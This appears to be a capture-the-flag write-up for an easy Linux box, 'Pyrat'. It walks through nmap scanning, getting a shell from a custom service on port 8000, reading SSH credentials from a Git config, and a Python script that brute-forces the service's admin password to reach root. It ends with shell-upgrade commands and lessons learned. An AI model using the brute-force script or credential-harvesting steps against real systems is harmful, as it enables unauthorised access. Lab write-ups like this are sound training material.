[sudo] updating & upgrading...
Initializing...
Projects
Easy Linux 10/02/2026

Pyrat

Python Git SSH Brute Force Linux

Overview

Pyrat is an easy Linux CTF centered around a custom PyRAT service exposed on TCP/8000. The path to root is straightforward: get a shell as www-data, recover SSH creds for user think from a Git config, then brute-force the PyRAT admin password to pop a root shell.

Reconnaissance

Nmap Scan

$ nmap -p- --min-rate 1000 -Pn 10.10.10.10
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt
$ nmap -sCV -p 22,8000 -oN nmap/pyrat 10.10.10.10

Port 8000 is not a normal web service; interacting with it manually (e.g., via nc) reveals a custom text-based program.

Exploitation

Initial Access

Connect to the service with netcat:

nc -nv 10.10.10.10 8000

From here you can either:

  • simply type shell (this spawns a shell directly), or
  • paste a standard reverse shell payload (I used a payload from PayloadsAllTheThings' reverse-shell cheatsheet).

This yields an initial shell as www-data.

Lateral Movement

During local enumeration from the initial shell, I found a Git config file exposing credentials for another user:

$ cat /opt/dev/.git/config

Those credentials can then be used for SSH access (cleaner interactive session) and to continue enumeration as that user.

ssh think@10.10.10.10

User flag:

  • 996dbb1f619a68361417cabca545XXXX

Privilege Escalation

Back on TCP/8000, the service has an admin mode protected by a password. I fuzzed/brute-forced it using rockyou.txt until it accepted a value.

Script used:

import socket


IP, PORT = "10.10.10.10", 8000
WORDLIST = "/usr/share/wordlists/rockyou.txt"


def try_password(password: str) -> bool:
  with socket.create_connection((IP, PORT), timeout=3) as sock:
    sock.recv(4096)  # banner
    sock.sendall(b"admin\n")
    prompt = sock.recv(4096).decode(errors="ignore")
    if "Password" not in prompt:
      return False
    sock.sendall((password + "\n").encode())
    resp = sock.recv(4096).decode(errors="ignore")
    return ("Welcome" in resp) or ("Admin" in resp)


with open(WORDLIST, encoding="latin1") as f:
  for pw in map(str.strip, f):
    if not pw:
      continue
    try:
      if try_password(pw):
        print(f"[+] Admin password: {pw}")
        break
    except OSError:
      pass

The correct password was:

  • abc123

Upon successful authentication, the service spawns a shell as root.

Root flag:

  • ba5ed03e9e74bb98054438480165XXXX

Flags

  • User: 996dbb1f619a68361417cabca545XXXX
  • Root: ba5ed03e9e74bb98054438480165XXXX

Lessons Learned

This box reinforces a few evergreen themes: custom services deserve the same scrutiny as "real" daemons, credentials in repo config files are an easy win for attackers, and brute forcing becomes trivial when there are no rate limits.

Notes

Shell upgrading flow:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+Z to background the session:

stty raw -echo; fg

Set TERM:

export TERM=xterm